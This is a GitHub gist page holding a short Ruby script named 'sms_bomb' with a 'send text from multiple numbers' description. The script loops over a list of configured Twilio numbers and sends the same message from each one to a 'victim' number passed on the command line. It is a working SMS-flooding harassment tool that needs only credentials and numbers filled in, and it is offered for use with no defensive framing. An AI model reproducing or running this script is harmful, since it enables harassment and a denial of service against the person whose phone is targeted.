Created
April 4, 2013 19:35
-
-
Save Ceasar/5313452 to your computer and use it in GitHub Desktop.
Send a text to a number from multiple numbers.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# sms_bomb | |
# ======== | |
# | |
# Send a bunch of texts (from multiple numbers) to a target number. | |
# | |
# Installation | |
# ------------ | |
# | |
# `gem install twilio-ruby` | |
# | |
# Usage | |
# ----- | |
# `ruby send.rb <msg> <victim-number>` | |
# | |
require 'rubygems' | |
require 'twilio-ruby' | |
# Get from Twilio | |
@account_sid = '' | |
@auth_token = '' | |
# Fill in numbers to automate here | |
@numbers = [ | |
] | |
# set up a client to talk to the Twilio REST API | |
@client = Twilio::REST::Client.new(@account_sid, @auth_token) | |
@msg = ARGV.at(0) | |
@victim = ARGV.at(1) | |
@account = @client.account | |
# start texting | |
for number in @numbers | |
@message = @account.sms.messages.create({:from => number, :to => @victim, :body => @msg}) | |
puts @message | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment